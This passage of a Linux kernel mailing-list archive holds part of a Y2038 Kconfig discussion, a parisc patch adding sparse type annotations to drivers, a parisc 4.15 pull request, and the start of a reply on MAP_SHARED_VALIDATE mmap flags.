cm9uZyBhdCBzb21lIHBvaW50LiBIYXZpbmcgdGhlCj4+ID4gZGVjaXNpb24gbG9naWMgaW4gb25l
IHBsYWNlIGlzIGFsd2F5cyB0aGUgcmlnaHQgdGhpbmcgdG8gZG8uCj4+Cj4+IEhvdyBhYm91dCB0
aGlzOgo+Pgo+PiBjb25maWcgTEVHQUNZX1RJTUVfU1lTQ0FMTFMKPj4gICAgICAgZGVmX2Jvb2wg
NjRCSVQgfHwgITY0QklUX1RJTUUKPj4gICAgICAgaGVscAo+PiAgICAgICAgIFRoaXMgY29udHJv
bHMgdGhlIGNvbXBpbGF0aW9uIG9mIHRoZSBmb2xsb3dpbmcgc3lzdGVtIGNhbGxzOgo+PiB0aW1l
LCBzdGltZSwKPj4gICAgICAgICBnZXR0aW1lb2ZkYXksIHNldHRpbWVvZmRheSwgYWRqdGltZXgs
IG5hbm9zbGVlcCwgYWxhcm0sIGdldGl0aW1lciwKPj4gICAgICAgICBzZXRpdGltZXIsIHNlbGVj
dCwgdXRpbWUsIHV0aW1lcywgZnV0aW1lc2F0LCBhbmQKPj4ge29sZCxuZXd9e2wsZix9c3RhdHss
NjR9Lgo+PiAgICAgICAgIFRoZXNlIGFsbCBwYXNzIDMyLWJpdCB0aW1lX3QgYXJndW1lbnRzIG9u
IDMyLWJpdCBhcmNoaXRlY3R1cmVzIGFuZAo+PiAgICAgICAgIGFyZSByZXBsYWNlZCBieSBvdGhl
ciBpbnRlcmZhY2VzIChlLmcuIHBvc2l4IHRpbWVycyBhbmQgY2xvY2tzLCBzdGF0eCkuCj4+ICAg
ICAgICAgQyBsaWJyYXJpZXMgaW1wbGVtZW50aW5nIDY0LWJpdCB0aW1lX3QgaW4gMzItYml0IGFy
Y2hpdGVjdHVyZXMgaGF2ZSB0bwo+PiAgICAgICAgIGltcGxlbWVudCB0aGUgaGFuZGxlcyBieSB3
cmFwcGluZyBhcm91bmQgdGhlIG5ld2VyIGludGVyZmFjZXMuCj4KPiBzL2hhbmRsZXMvaGFuZGxp
bmcvID8/Pz8KCkkgbWVhbnQgImhhbmRsZXJzIi4KCj4+ICAgICAgICAgTmV3IGFyY2hpdGVjdHVy
ZXMgc2hvdWxkIG5vdCBleHBsaWNpdGx5IGRpc2FibGUgdGhpcy4KPgo+IE5ldyBhcmNoaXRlY3R1
cmVzIHNob3VsZCBuZXZlciBlbmFibGUgdGhpcywgcmlnaHQ/CgpSaWdodCwgSSBnb3QgYW4gZXh0
cmEgIm5vdCIuIEkgZ3Vlc3MgaWYgRGVlcGEgaW5jb3Jwb3JhdGVzIHRoZSBuZXcgb3B0aW9uLApz
aGUgY2FuIGFsc28gaW1wcm92ZSBteSBFbmdsaXNoIDstKQoKICAgICAgICAgQXJuZApfX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwpZMjAzOCBtYWlsaW5nIGxp
c3QKWTIwMzhAbGlzdHMubGluYXJvLm9yZwpodHRwczovL2xpc3RzLmxpbmFyby5vcmcvbWFpbG1h
bi9saXN0aW5mby95MjAzOAo=


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Various sparse patches for v4.16
Date: Fri, 17 Nov 2017 22:22:57 +0100
Lines: 166
Approved: news@gmane.org
Message-ID: <20171117212257.GA19816@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510953791 3844 195.159.176.226 (17 Nov 2017 21:23:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 21:23:11 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 17 22:23:06 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eFo6G-000249-1Q
	for glpp-linux-parisc@m.gmane.org; Fri, 17 Nov 2017 22:23:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753377AbdKQVXH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 17 Nov 2017 16:23:07 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:55133 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753373AbdKQVXG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 17 Nov 2017 16:23:06 -0500
Original-Received: from ls3530.fritz.box ([193.159.17.151]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LiTJE-1elr8J2P9A-00cg1e; Fri, 17
 Nov 2017 22:22:59 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:QASTBuIQ0lx+30V2f+fIzI4fTgnM7DRkkB0GL5c1HytAKUetnKA
 xd/8/ob4f18ere3OPl00qiLX9klrUPmC+0diLiOuNeOLN/cZ5HpvQ/174AtyAQe+UhlT+vf
 +SqL2X6Q/OkRXJibV4iC0H5rUOtR5LwtY8+/VMVCr5RXcgsCP1+GjXAgeTzGrJvYL+NY8uu
 Nb49RkIpKEjsVRllE4rjg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Ke3hlmh86bM=:iAqQwRnbcIFfJ26XNum2/k
 5NwzXo+RUemUxP9WUMipLFinghxJyYfmg6y0LRECCCMeaYbY5W2riuCjRQfyDZtnmFnMhlB5f
 T0ChxYS4+0Djq4zyPqC33LgWc6qMwv6wrvDNs0rmYnvjckp+o60lqboi8oYWYVFR0xOomk4kQ
 eXbYgtvwFKYdNPncLNpJQwKWdbY6mVnvyHM7w913rCoipNK0dRUkexn8BRfV6BUq3crECNNg2
 8DT7Lvfh1r/LdpWNbJE+QY5ddUryAd4BWobKI/Hwo+KxwxxWdQsW0Wn75G1+XdIPA8GaWcR6i
 MgRfTIR64QRVVRgKptjmG2kmuJ4waEcNe07ozBSIvJwl6zMmY7fSKKcJ+6nNtv4JN4n8Wksnf
 qL0gcK6ye9IFDC/+Kh+KeX4+sbNsbxPv4EkYnC/Ver+dchs3NRsMSGChArYR5VAbkb1uCAqdY
 pT5JWP0oo9PpBf2H1D/9lI532oJZT4sjKtjERzJIrTgij4tExbVijKdRvFVUkWxvIwo35Yr1v
 W+ugOAhZal1+x5D9IDchiDfqc9FaxZ3LKvGHQVgrLJPMmLDN8gv/Bn9HR4WRfbLppPdKP+eKU
 zg9VUqQxZY8fqrqKZdqsZO11DVIk5mQT2Tnw2GXaL9K8ZHRxDbCc6PbUb8YSLARyA+V8b6oQD
 trhgh0PzWGQwurolQFlMQ3KtaWMouviuIUkvk5hCoppLVjPhSGCqP6oEZzTbRc1VlS6K5Nocj
 8rGi6kM3DOx0G25N1PMyDG2bGkhmX0+T/QFbSfjfFdUgC4VAeJLLjWwbYOO7xJAdpe10UdVM 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28004
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28004>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
index 27c62baa9c4e..afe493b23d04 100644
--- a/arch/parisc/include/asm/io.h
+++ b/arch/parisc/include/asm/io.h
@@ -183,15 +183,15 @@ static inline unsigned char readb(const volatile void __iomem *addr)
 }
 static inline unsigned short readw(const volatile void __iomem *addr)
 {
-	return le16_to_cpu(__raw_readw(addr));
+	return le16_to_cpu((__le16 __force) __raw_readw(addr));
 }
 static inline unsigned int readl(const volatile void __iomem *addr)
 {
-	return le32_to_cpu(__raw_readl(addr));
+	return le32_to_cpu((__le32 __force) __raw_readl(addr));
 }
 static inline unsigned long long readq(const volatile void __iomem *addr)
 {
-	return le64_to_cpu(__raw_readq(addr));
+	return le64_to_cpu((__le64 __force) __raw_readq(addr));
 }
 
 static inline void writeb(unsigned char b, volatile void __iomem *addr)
@@ -200,15 +200,15 @@ static inline void writeb(unsigned char b, volatile void __iomem *addr)
 }
 static inline void writew(unsigned short w, volatile void __iomem *addr)
 {
-	__raw_writew(cpu_to_le16(w), addr);
+	__raw_writew((__u16 __force) cpu_to_le16(w), addr);
 }
 static inline void writel(unsigned int l, volatile void __iomem *addr)
 {
-	__raw_writel(cpu_to_le32(l), addr);
+	__raw_writel((__u32 __force) cpu_to_le32(l), addr);
 }
 static inline void writeq(unsigned long long q, volatile void __iomem *addr)
 {
-	__raw_writeq(cpu_to_le64(q), addr);
+	__raw_writeq((__u64 __force) cpu_to_le64(q), addr);
 }
 
 #define	readb	readb
diff --git a/drivers/input/serio/gscps2.c b/drivers/input/serio/gscps2.c
index aa9f29b875de..49d8d53e50b7 100644
--- a/drivers/input/serio/gscps2.c
+++ b/drivers/input/serio/gscps2.c
@@ -91,7 +91,7 @@ struct gscps2port {
 	struct parisc_device *padev;
 	struct serio *port;
 	spinlock_t lock;
-	char *addr;
+	char __iomem *addr;
 	u8 act, append; /* position in buffer[] */
 	struct {
 		u8 data;
@@ -114,7 +114,7 @@ struct gscps2port {
  * wait_TBE() - wait for Transmit Buffer Empty
  */
 
-static int wait_TBE(char *addr)
+static int wait_TBE(char __iomem *addr)
 {
 	int timeout = 25000; /* device is expected to react within 250 msec */
 	while (gscps2_readb_status(addr) & GSC_STAT_TBNE) {
@@ -146,14 +146,14 @@ static void gscps2_flush(struct gscps2port *ps2port)
 static inline int gscps2_writeb_output(struct gscps2port *ps2port, u8 data)
 {
 	unsigned long flags;
-	char *addr = ps2port->addr;
+	char __iomem *addr = ps2port->addr;
 
 	if (!wait_TBE(addr)) {
 		printk(KERN_DEBUG PFX "timeout - could not write byte %#x\n", data);
 		return 0;
 	}
 
-	while (gscps2_readb_status(ps2port->addr) & GSC_STAT_RBNE)
+	while (gscps2_readb_status(addr) & GSC_STAT_RBNE)
 		/* wait */;
 
 	spin_lock_irqsave(&ps2port->lock, flags);
@@ -200,13 +200,12 @@ static void gscps2_enable(struct gscps2port *ps2port, int enable)
 
 static void gscps2_reset(struct gscps2port *ps2port)
 {
-	char *addr = ps2port->addr;
 	unsigned long flags;
 
 	/* reset the interface */
 	spin_lock_irqsave(&ps2port->lock, flags);
 	gscps2_flush(ps2port);
-	writeb(0xff, addr+GSC_RESET);
+	writeb(0xff, ps2port->addr + GSC_RESET);
 	gscps2_flush(ps2port);
 	spin_unlock_irqrestore(&ps2port->lock, flags);
 }
diff --git a/drivers/parisc/led.c b/drivers/parisc/led.c
index ff1a332d76e4..0c6e8b44b4ed 100644
--- a/drivers/parisc/led.c
+++ b/drivers/parisc/led.c
@@ -176,7 +176,7 @@ static int led_proc_open(struct inode *inode, struct file *file)
 }
 
 
-static ssize_t led_proc_write(struct file *file, const char *buf,
+static ssize_t led_proc_write(struct file *file, const char __user *buf,
 	size_t count, loff_t *pos)
 {
 	void *data = PDE_DATA(file_inode(file));
@@ -250,7 +250,7 @@ static int __init led_create_procfs(void)
 
 	if (led_type == -1) return -1;
 
-	proc_pdc_root = proc_mkdir("pdc", 0);
+	proc_pdc_root = proc_mkdir("pdc", NULL);
 	if (!proc_pdc_root) return -1;
 
 	if (!lcd_no_led_support)
diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index 5f710aaaf3da..190c0a7a1c52 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -256,7 +256,7 @@ struct parport *parport_gsc_probe_port(unsigned long base,
 	}
 	priv->ctr = 0xc;
 	priv->ctr_writable = 0xff;
-	priv->dma_buf = 0;
+	priv->dma_buf = NULL;
 	priv->dma_handle = 0;
 	p->base = base;
 	p->base_hi = base_hi;
diff --git a/drivers/scsi/ncr53c8xx.h b/drivers/scsi/ncr53c8xx.h
index 02901c54b08b..5b75b5cb69c1 100644
--- a/drivers/scsi/ncr53c8xx.h
+++ b/drivers/scsi/ncr53c8xx.h
@@ -356,8 +356,8 @@
 
 #if	defined(__BIG_ENDIAN) && !defined(SCSI_NCR_BIG_ENDIAN)
 
-#define cpu_to_scr(dw)	cpu_to_le32(dw)
-#define scr_to_cpu(dw)	le32_to_cpu(dw)
+#define cpu_to_scr(dw)	((__u32 __force) cpu_to_le32(dw))
+#define scr_to_cpu(dw)	le32_to_cpu((__le32 __force)(dw))
 
 #elif	defined(__LITTLE_ENDIAN) && defined(SCSI_NCR_BIG_ENDIAN)
 
diff --git a/drivers/video/fbdev/stifb.c b/drivers/video/fbdev/stifb.c
index 6ded5c198998..3c2e4cabc08f 100644
--- a/drivers/video/fbdev/stifb.c
+++ b/drivers/video/fbdev/stifb.c
@@ -527,7 +527,7 @@ rattlerSetupPlanes(struct stifb_info *fb)
 	fb->id = saved_id;
 
 	for (y = 0; y < fb->info.var.yres; ++y)
-		memset(fb->info.screen_base + y * fb->info.fix.line_length,
+		fb_memset(fb->info.screen_base + y * fb->info.fix.line_length,
 			0xff, fb->info.var.xres * fb->info.var.bits_per_pixel/8);
 
 	CRX24_SET_OVLY_MASK(fb);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for 4.15
Date: Fri, 17 Nov 2017 22:40:15 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20171117214015.GA23054@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1510954835 2463 195.159.176.226 (17 Nov 2017 21:40:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 17 Nov 2017 21:40:35 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 17 22:40:31 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eFoNB-0000K6-E7
	for glpp-linux-parisc@m.gmane.org; Fri, 17 Nov 2017 22:40:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754665AbdKQVkg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 17 Nov 2017 16:40:36 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:53928 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754658AbdKQVkf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 17 Nov 2017 16:40:35 -0500
Original-Received: from ls3530.fritz.box ([193.159.17.151]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MJWAZ-1eCnAM0iDr-0037sA; Fri, 17
 Nov 2017 22:40:29 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:sL0AXHmKt5Y5GZsnA9f77AgMOj2FHVrmB7zj9Tv1mseG6cI2Wb6
 NhKG9zvEXU8OJy5nssOVZrhQQr+x5RUHN3wM+DgZwHeGAxhN5U3ODFH/HTXdqoiOYFuzciT
 Hc4xoABsPqOi89CEv0JEclvu5vKUZ82ahM8dY9l4l0dARYFtSe6Dx00obtpbNrQSR3eZilx
 SeMD6tvLpYgXj6uIUcJAQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HVo+yBaD2ek=:wiitVEjM1ZQoMFri7OZa9z
 FUBKGlzSzgpVgOwsip883GDpO34kgrKf7jCGozlUotMGzKK2ROZPqs4hghUPCJNxBTGQoNwZn
 DRo41QLIqzh/v7+ROA3xpRqLRbAKs0G10O/N9tQstM+xYb8X2VX6qTDIDAX81X58X3UbXoGwc
 cFkAHkY/32/EGQkMl6GMLlfDwhspxVSDolLSwfbtI3a0vySiDn1ZyfnOPRoqGi9lw3Lvm1qvS
 q2Sbirei7q+4zPlv1Tl7rlmLuYjdNT6PoW9RUytum8P4/G+4onmJOGnf9mkgY7U36IKPVqcll
 HhS4DyKY2XwL6wjxmVclbQu76+wbE4YzSRjrmP/wJN+Qgzxj1NVeJ6Hq2WPjVNmn0HgrUprXI
 a7vGB3LRZ6mXnHkjWpvKQB1SrbvF0kJ1cAcPXUdzVU8avEJnWJ7WmgOn/ZLtmtYj4XpdtPjY6
 r6hMT6fyU0k5n4r74QjmPIiqTmg8IIsIkQZQWGbBeZ0vsWK0yaZEB+jeRvE84rUYTV2XE2Q5n
 YXmGI2RK9ltWZovLAKVgd+3c2/VF4BnxqkCfwFwS2NuPUIqVSs1vjtVHQlwnCXMPQZeiTZQsm
 KqKHm2UqDDnNN04b4QzJbKchJgXHW93fdVagqf//37t3QZo1PtO0x2+onlOFMaaIv9LmAEwrj
 68HvEyLTPJuYN96yrLC2wpcmyHh+9K+67oYuzsF0wktHBumMqJYVqbVvT1Lt2FXyiKMhztObF
 ACGBCVmIV5eCO/siAsGChsJ+7vs3hF3y1MiTq3rQo2B/+rx0b6gKdp7rher0LRS1agkpCPud 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28005 gmane.linux.kernel:2619887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28005>

Hi Linus,

please pull parisc architecture updates for the merge window of kernel 4.15 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.15-1


Highlights:

- One important fix from Dave to prevent kernel crash when userspace hands over
  invalid values to our in-kernel CAS implementation.

- Added CPU topology support, including multi-core scheduler support on PA8900
  CPUs

Minor changes:

- Minor fixes for sparse (from Luc)

- Drop duplicates for CPU_BIG_ENDIAN from parisc and sparc top Kconfig files
  (from Babu)

- Reorganized parisc PDC (firmware-access) header files for usage from
  userspace. Required for upcoming qemu parisc emulator and SeaBIOS fork
  to support parisc.

Thanks,
Helge


----------------------------------------------------------------
Babu Moger (1):
      arch: Fix duplicates in Kconfig for parisc and sparc

Helge Deller (2):
      parisc: Add CPU topology support
      parisc: Make some PDC structures accessible in uapi headers

John David Anglin (1):
      parisc: Fix validity check of pointer size argument in new CAS implementation

Luc Van Oostenryck (1):
      parisc: Pass endianness info to sparse

 arch/parisc/Kconfig                |  19 ++-
 arch/parisc/Makefile               |   2 +-
 arch/parisc/include/asm/pdc.h      | 255 ------------------------------------
 arch/parisc/include/asm/topology.h |  36 ++++++
 arch/parisc/include/uapi/asm/pdc.h | 256 ++++++++++++++++++++++++++++++++++++-
 arch/parisc/kernel/Makefile        |   4 +-
 arch/parisc/kernel/processor.c     |  13 ++
 arch/parisc/kernel/setup.c         |   2 +
 arch/parisc/kernel/syscall.S       |   6 +-
 arch/parisc/kernel/topology.c      | 153 ++++++++++++++++++----
 arch/sparc/Kconfig                 |   3 -
 11 files changed, 452 insertions(+), 297 deletions(-)
 create mode 100644 arch/parisc/include/asm/topology.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.api,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.file-systems,gmane.comp.file-systems.ext4
Subject: Re: [PATCH 01/18] mm: introduce MAP_SHARED_VALIDATE, a mechanism to
 safely define new mmap flags
Date: Wed, 22 Nov 2017 11:53:18 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20171122195318.GA29485@bombadil.infradead.org>
References: <20171101153648.30166-1-jack@suse.cz>
 <20171101153648.30166-2-jack@suse.cz>
 <638b3b80-5cb9-97c2-5055-fef3a1ec25b9@suse.cz>
 <CAPcyv4gGRHWc6AH5Enb7njtmqHgd=g+0-mYMdd5wWjJMW0+d7g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1511380405 28629 195.159.176.226 (22 Nov 2017 19:53:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 22 Nov 2017 19:53:25 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Florian Weimer <fweimer-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-xfs <linux-xfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Jan Kara <jack-AlSwsSmVLrQ@public.gmane.org>, Kees Cook <keescook-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org>,
 Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
 "linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org" <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>,
 Linux API <linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 "Darrick J . Wong" <darrick.wong-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 Michal Hocko <mhocko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, Christoph Hellwig <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org>,
 Linux MM <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
 "Kirill A. Shutemov" <kirill.shutemov-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Andy Lutomirski <luto-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, John Hubbard <jhubbard-DDmLM1+adcrQT0dZR+AlfA@public.gmane.org>,
 linux-fsdevel <linux-fsdevel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 linux-ext4 <linux-ext4-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>, Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org>
To: Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed Nov 22 20:53:16 2017
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1eHb59-0006oh-Hr
	for gln-linux-nvdimm@m.gmane.org; Wed, 22 Nov 2017 20:53:15 +0100
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id B075B2034C5D9;
	Wed, 22 Nov 2017 11:49:05 -0800 (PST)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: None (no SPF record) identity=mailfrom; client-ip=65.50.211.133;
 helo=bombadil.infradead.org; envelope-from=willy-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256
 bits)) (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id A049E220C1615
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Wed, 22 Nov 2017 11:49:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
 d=infradead.org; s=bombadil.20170209; h=In-Reply-To:Content-Type:MIME-Version
 :References:Message-ID:Subject:Cc:To:From:Date:Sender:Reply-To:
 Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
 Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
 List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
 bh=HhHvgcnKtS9pQ+SkBKym50yzlpi00wPdybvk0q6KyN4=; b=N8MKEbsZO2EJuAIqVL6cQXePf
 3xi9IYIYNnvoiCRm7Wfw95TELpEDtYBy/dC9SEOx0Td9kCV6DnD7eiN5p674H077sxwiQNjmZvm5k
 prGOA14uV6Kr5Sh0DiEn9O3MflTvdjxQv5V157fnDWtZr3tBBUQPjCbsiGIj6QMCPYI4KrRJ23Plt
 Vq6627lNGQxtKThQpU0dDBUtH3HGEGyERMs4WK4pc6ze+6K67FGf7815eOjptApLqj63o2keTLSJ3
 vlnt7Jk39zR9Q5rluiojjr4b8e2cQCxj7nadQZr7iPHqtrzk3h3+/LU/JP7ryQPSO2Aer5CycvtTF
 qkX8JDU3w==;
Original-Received: from willy by bombadil.infradead.org with local (Exim 4.87 #1 (Red
 Hat Linux)) id 1eHb5C-0004sp-EL; Wed, 22 Nov 2017 19:53:18 +0000
Content-Disposition: inline
In-Reply-To: <CAPcyv4gGRHWc6AH5Enb7njtmqHgd=g+0-mYMdd5wWjJMW0+d7g-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.22
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:7341 gmane.linux.kernel.api:25893 gmane.linux.ports.parisc:28006 gmane.linux.kernel.mm:184129 gmane.linux.file-systems:129308 gmane.comp.file-systems.ext4:59940
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/7341>

On Wed, Nov 22, 2017 at 08:52:37AM -0800, Dan Williams wrote:
> On Wed, Nov 22, 2017 at 4:02 AM, Vlastimil Babka <vbabka-AlSwsSmVLrQ@public.gmane.org> wrote:
> > On 11/01/2017 04:36 PM, Jan Kara wrote:
> >> From: Dan Williams <dan.j.williams-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
> >>
> >> The mmap(2) syscall suffers from the ABI anti-pattern of not validating
> >> unknown flags. However, proposals like MAP_SYNC need a mechanism to
> >> define new behavior that is known to fail on older kernels without the
> >> support. Define a new MAP_SHARED_VALIDATE flag pattern that is
> >> guaranteed to fail on all legacy mmap implementations.
> >
> > So I'm trying to make sense of this together with Michal's attempt for
> > MAP_FIXED_SAFE [1] where he has to introduce a completely new flag
> > instead of flag modifier exactly for the reason of not validating
> > unknown flags. And my conclusion is that because MAP_SHARED_VALIDATE
> > implies MAP_SHARED and excludes MAP_PRIVATE, MAP_FIXED_SAFE as a
> > modifier cannot build on top of this. Wouldn't thus it be really better
> > long-term to introduce mmap3 at this point? ...
> 
> We have room to define MAP_PRIVATE_VALIDATE in MAP_TYPE on every arch
